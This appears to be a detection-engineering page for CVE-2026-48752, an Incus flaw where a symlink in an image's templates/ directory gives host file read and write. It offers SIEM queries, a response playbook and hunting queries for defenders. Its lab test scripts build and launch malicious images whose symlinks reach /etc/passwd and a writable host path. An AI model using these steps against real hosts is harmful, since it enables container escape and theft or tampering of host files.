CVE-2026-48752

Incus Arbitrary File Read/Write via Malicious Image Template Symlink

CVE-2026-48752 is a critical vulnerability (CVSS 9.9) in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. A malicious container image can include a crafted symlink within the templates/ directory that, when processed by incusd during image import or container creation, allows an attacker to read or write arbitrary files on the host filesystem. This constitutes a container escape primitive with host takeover potential. A public proof-of-concept exists.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
go
Product
github.com/lxc/incus/v7/cmd/incusd
Versions
< 7.2.0

Weakness (CWE)

Timeline

Disclosed
June 26, 2026

CVSS

9.9
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-48752 Incus Arbitrary File Read/Write via Malicious Image Template Symlink?

Incus Arbitrary File Read/Write via Malicious Image Template Symlink (CVE-2026-48752) maps to the Privilege Escalation and Defense Evasion and Lateral Movement tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for Incus Arbitrary File Read/Write via Malicious Image Template Symlink, covering the data sources and telemetry it touches: SecurityEvent, Syslog, AuditLogs, CommonSecurityLog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Defense Evasion Lateral Movement
Microsoft Sentinel / Defender
kusto
union isfuzzy=true
(
    SecurityEvent
    | where EventID in (4663, 4656)
    | where ObjectName matches regex @"(?i)(templates[\\/]|/var/lib/incus/|/var/snap/incus/)" 
    | where ObjectName matches regex @"(?i)(\.\./|\\\.\.\\)"
    | project TimeGenerated, Computer, Account, ObjectName, ProcessName, EventID
),
(
    AuditLogs
    | where OperationName =~ "incusd"
    | where ResultDescription has_any ("symlink", "templates", "path traversal")
    | project TimeGenerated, OperationName, ResultDescription, InitiatedBy
),
(
    Syslog
    | where ProcessName =~ "incusd" or ProcessName =~ "incus"
    | where SyslogMessage has_any ("templates/", "symlink", "path escape", "chroot", "container image")
    | where SyslogMessage has_any ("error", "warn", "failed", "denied")
    | project TimeGenerated, Computer, ProcessName, SyslogMessage, HostName
)
| extend AlertName = "CVE-2026-48752 - Incus Malicious Template Symlink"
| order by TimeGenerated desc

Detects suspicious file access patterns associated with CVE-2026-48752 exploitation — symlink traversal within Incus template directories and anomalous host file access by incusd. Covers Windows Security Events, Azure AD Audit Logs, and Linux Syslog sources.

critical severity medium confidence

Data Sources

SecurityEvent Syslog AuditLogs CommonSecurityLog

Required Tables

SecurityEvent Syslog AuditLogs

False Positives

  • Legitimate Incus image imports using templates with absolute paths that resolve correctly within the container rootfs
  • Container management scripts that mount host directories explicitly for known administrative purposes
  • Security scanning tools that intentionally test symlink resolution within container image stores

Sigma rule & cross-platform mapping

The detection logic for Incus Arbitrary File Read/Write via Malicious Image Template Symlink (CVE-2026-48752) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Create Malicious Incus Image with Template Symlink Pointing to /etc/passwd

    Expected signal: incusd process accessing /etc/passwd via symlink resolution from templates/ directory; auditd SYSCALL records for readlink/open by incusd PID targeting /etc/passwd

  2. Test 2Exploit Incus Template Symlink for Arbitrary Host File Write

    Expected signal: incusd creating or writing to /tmp/incus-host-write-target via symlink from templates/; FileWriteInfo events for incusd outside container directories

  3. Test 3Scan Incus Image Store for Existing Malicious Template Symlinks

    Expected signal: Read-only filesystem traversal of /var/lib/incus/images by the scanning shell process; no incusd involvement expected


Response Playbook

Triage

  1. Identify the incusd version on the affected host via `incus version` or `dpkg -l incus` / `rpm -q incus`. Confirm if version is < 7.2.0.
  2. Inspect recently imported container images: `incus image list` and cross-reference with timestamps near the alert. Examine image metadata for templates/ directory contents using `incus image export <fingerprint> /tmp/img-export && tar -tvf /tmp/img-export/*.tar.xz | grep templates/`.
  3. Check for suspicious symlinks within Incus image stores: `find /var/lib/incus/images/ /var/snap/incus/ -type l 2>/dev/null | xargs -I{} sh -c 'readlink -f "{}" | grep -v /var/lib/incus && echo "SUSPICIOUS: {}"'`.
  4. Review incusd logs for path traversal indicators: `journalctl -u incus -n 2000 | grep -iE '(template|symlink|escape|chroot|path.*denied|read.*error)'`.
  5. Determine if any host files outside expected container directories were accessed or modified around the time of the alert using auditd or inotifywait evidence.

Containment

  1. If exploitation is confirmed or strongly suspected, immediately stop the incusd service (`systemctl stop incus`) and isolate the host from the network to prevent lateral movement using host-level firewall rules (`iptables -I INPUT -j DROP; iptables -I OUTPUT -j DROP` — preserve management access).
  2. Remove or quarantine the suspicious container image from the image store: `incus image delete <fingerprint>`. Do NOT delete before preserving a forensic copy. Export first: `incus image export <fingerprint> /forensics/img-<fingerprint>.tar.xz`.
  3. Revoke any credentials or tokens accessible via host paths that may have been read (e.g., /etc/shadow, SSH keys in /root/.ssh/, Vault tokens, API keys in /etc/environment or /root/).

Evidence Collection

  1. Capture full incusd journal logs: `journalctl -u incus --since '48 hours ago' > /forensics/incusd-journal-$(date +%s).log`.
  2. Preserve auditd logs showing file access by incusd: `ausearch -p $(pgrep incusd) -i > /forensics/auditd-incusd-$(date +%s).log` and collect `/var/log/audit/audit.log`.
  3. Export the suspicious container image and its templates directory before any cleanup: `incus image export <fingerprint> /forensics/` and document all symlink targets found.
  4. Snapshot host filesystem metadata for critical paths: `find /etc /root /home /var/lib/incus -maxdepth 3 -printf '%T+ %p %l\n' > /forensics/fs-snapshot-$(date +%s).txt`.

Escalation Criteria

  • ! Escalate immediately if evidence shows incusd wrote to or read from host paths outside /var/lib/incus/ or /var/snap/incus/ — particularly /etc/passwd, /etc/shadow, /root/.ssh/authorized_keys, or secrets stores — indicating successful host compromise.
  • ! Escalate if the malicious image was pulled from an external or third-party registry, suggesting potential supply chain compromise affecting other hosts that imported the same image.
  • ! Escalate if the host is a Proxmox node, hypervisor, or cluster member where host compromise implies impact to all hosted VMs and containers.

Investigation Guide

Forensic Artifacts

  • > Incus image store at /var/lib/incus/images/ or /var/snap/incus/common/incus/images/ — examine all templates/ subdirectories for symlinks pointing outside container rootfs
  • > auditd SYSCALL records for readlink, lstat, open, openat syscalls by incusd PID targeting paths outside /var/lib/incus
  • > Filesystem mtime/ctime changes on host-sensitive files (/etc/passwd, /root/.ssh/, /etc/cron.d/) coinciding with incusd activity
  • > incusd journal logs (journalctl -u incus) for error messages referencing template processing, symlink resolution, or path validation failures

Tuning Guidance

Start with medium confidence and tune down false positives by allowlisting known-good Incus image fingerprints and internal registry sources. Increase confidence to high after confirming incusd version < 7.2.0 on monitored hosts and baselining normal template directory access patterns. Suppress alerts for incusd processes with arguments limited to known-good image fingerprints verified against an internal allowlist. Consider deploying auditd rules specifically watching readlink and symlinkat syscalls by incusd to improve signal quality over syslog-only sources.


Hunting Queries

Proactive threat hunt for incusd access to files outside its expected directories over the past 7 days, surfacing potential prior exploitation or reconnaissance activity.

Hunting — KQL
kql
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName =~ "incusd"
| where SyslogMessage has_any ("templates", "symlink", "image", "import", "container create")
| extend FilePath = extract(@"file[=: ]+([^\s,]+)", 1, SyslogMessage)
| where FilePath !startswith "/var/lib/incus" and FilePath !startswith "/var/snap/incus" and FilePath != ""
| summarize Count=count(), LastSeen=max(TimeGenerated) by Computer, FilePath, ProcessName
| where Count > 0
| order by LastSeen desc
Hunting — SPL
spl
index=syslog process_name=incusd earliest=-7d
| rex field=_raw "file[=: ]+(?P<file_path>[^\\s,]+)"
| where NOT (match(file_path, "(?i)/var/lib/incus") OR match(file_path, "(?i)/var/snap/incus") OR isnull(file_path) OR file_path="")
| stats count as hits, latest(_time) as last_seen by host, file_path, process_name
| sort -hits

Historical hunt for all Incus image import and pull operations over the past 30 days to identify images sourced from external or unexpected registries that may be malicious.

Hunting — KQL
kql
Syslog
| where TimeGenerated > ago(30d)
| where ProcessName =~ "incusd" or SyslogMessage has "incus image"
| where SyslogMessage has_any ("import", "pull", "copy", "image")
| summarize ImportCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, SyslogMessage
| where ImportCount > 0
| extend PotentiallyMalicious = iff(SyslogMessage has_any ("external", "http://", "https://", "registry"), "Review", "Internal")
| order by LastSeen desc
Hunting — SPL
spl
index=syslog (process_name=incusd OR message="*incus image*") earliest=-30d
| where match(message, "(?i)(import|pull|copy|image)")
| eval potentially_malicious=if(match(message, "(?i)(http[s]?://|registry|external)"), "Review", "Internal")
| stats count as occurrences, earliest(_time) as first_seen, latest(_time) as last_seen by host, message, potentially_malicious
| sort -last_seen

Atomic Red Team Tests

Test 1 Create Malicious Incus Image with Template Symlink Pointing to /etc/passwd
linux

Builds a minimal Incus image containing a templates/ directory with a symlink pointing to /etc/passwd on the host, simulating a malicious image that exploits CVE-2026-48752 to read host files.

Command

bash
# LAB ONLY — requires Incus installed and running
mkdir -p /tmp/atomic-incus-test/{rootfs,templates}
# Create a symlink in templates/ pointing to host /etc/passwd
ln -sf /etc/passwd /tmp/atomic-incus-test/templates/shadow
# Create minimal metadata
cat > /tmp/atomic-incus-test/metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1750000000
properties:
  description: Atomic test image CVE-2026-48752
  os: alpine
  release: edge
EOF
# Package the image
tar -czf /tmp/atomic-incus-malicious.tar.gz -C /tmp/atomic-incus-test .
# Import the image
incus image import /tmp/atomic-incus-malicious.tar.gz --alias atomic-test-cve-2026-48752
# Attempt to create a container from it (triggers template processing)
incus launch atomic-test-cve-2026-48752 atomic-test-container 2>&1 | tee /tmp/atomic-test-output.txt

Cleanup

bash
incus delete --force atomic-test-container 2>/dev/null; incus image delete atomic-test-cve-2026-48752 2>/dev/null; rm -rf /tmp/atomic-incus-test /tmp/atomic-incus-malicious.tar.gz /tmp/atomic-test-output.txt

Expected Telemetry

incusd process accessing /etc/passwd via symlink resolution from templates/ directory; auditd SYSCALL records for readlink/open by incusd PID targeting /etc/passwd

Expected Detection

Alert triggered on incusd file access outside /var/lib/incus/ targeting /etc/passwd; Syslog entries from incusd referencing templates/ and unexpected host path

Test 2 Exploit Incus Template Symlink for Arbitrary Host File Write
linux

Creates a malicious Incus image with a templates/ symlink targeting a writable host path (/tmp/incus-write-test), demonstrating the write primitive of CVE-2026-48752.

Command

bash
# LAB ONLY — do not run in production
mkdir -p /tmp/atomic-write-test/{rootfs,templates}
# Create a symlink pointing to a writable host location
ln -sf /tmp/incus-host-write-target /tmp/atomic-write-test/templates/config
# Add template content that will be written to the symlink target
echo '[test-template]\nvalue = CVE-2026-48752-write-test' > /tmp/atomic-write-test/templates/config.tpl
cat > /tmp/atomic-write-test/metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1750000000
properties:
  description: Write test image CVE-2026-48752
  os: alpine
  release: edge
templates:
  /config:
    when:
      - create
    template: config.tpl
EOF
tar -czf /tmp/atomic-write-malicious.tar.gz -C /tmp/atomic-write-test .
incus image import /tmp/atomic-write-malicious.tar.gz --alias atomic-write-cve-2026-48752
incus launch atomic-write-cve-2026-48752 atomic-write-container 2>&1
# Check if host file was written
cat /tmp/incus-host-write-target 2>&1 | tee /tmp/write-test-result.txt

Cleanup

bash
incus delete --force atomic-write-container 2>/dev/null; incus image delete atomic-write-cve-2026-48752 2>/dev/null; rm -rf /tmp/atomic-write-test /tmp/atomic-write-malicious.tar.gz /tmp/incus-host-write-target /tmp/write-test-result.txt

Expected Telemetry

incusd creating or writing to /tmp/incus-host-write-target via symlink from templates/; FileWriteInfo events for incusd outside container directories

Expected Detection

Alert on incusd file write operation to a path outside /var/lib/incus/; auditd capture of openat with O_WRONLY|O_CREAT by incusd PID targeting host path

Test 3 Scan Incus Image Store for Existing Malicious Template Symlinks
linux

Hunts for pre-existing malicious symlinks within the Incus image store templates directories that may indicate prior exploitation attempts or staged malicious images.

Command

bash
# Safe read-only hunt — suitable for incident response
echo '[*] Scanning Incus image stores for suspicious template symlinks...'
for store in /var/lib/incus/images /var/snap/incus/common/incus/images; do
    if [ -d "$store" ]; then
        echo "[+] Scanning $store"
        find "$store" -type l 2>/dev/null | while read symlink; do
            target=$(readlink -f "$symlink" 2>/dev/null)
            if echo "$symlink" | grep -q 'templates'; then
                if ! echo "$target" | grep -qE "^($store|/var/lib/incus|/var/snap/incus)"; then
                    echo "[SUSPICIOUS] Symlink: $symlink -> $target"
                fi
            fi
        done
    fi
done
# Also check incus image list for recently imported images
incus image list --format csv 2>/dev/null | tee /tmp/incus-image-inventory.txt
echo '[*] Scan complete. Review SUSPICIOUS entries above.'

Cleanup

bash
rm -f /tmp/incus-image-inventory.txt

Expected Telemetry

Read-only filesystem traversal of /var/lib/incus/images by the scanning shell process; no incusd involvement expected

Expected Detection

This test is detection-negative (read-only hunt tool); output should be reviewed manually. No SIEM alert expected unless monitoring scripts scanning image stores.

Related Detections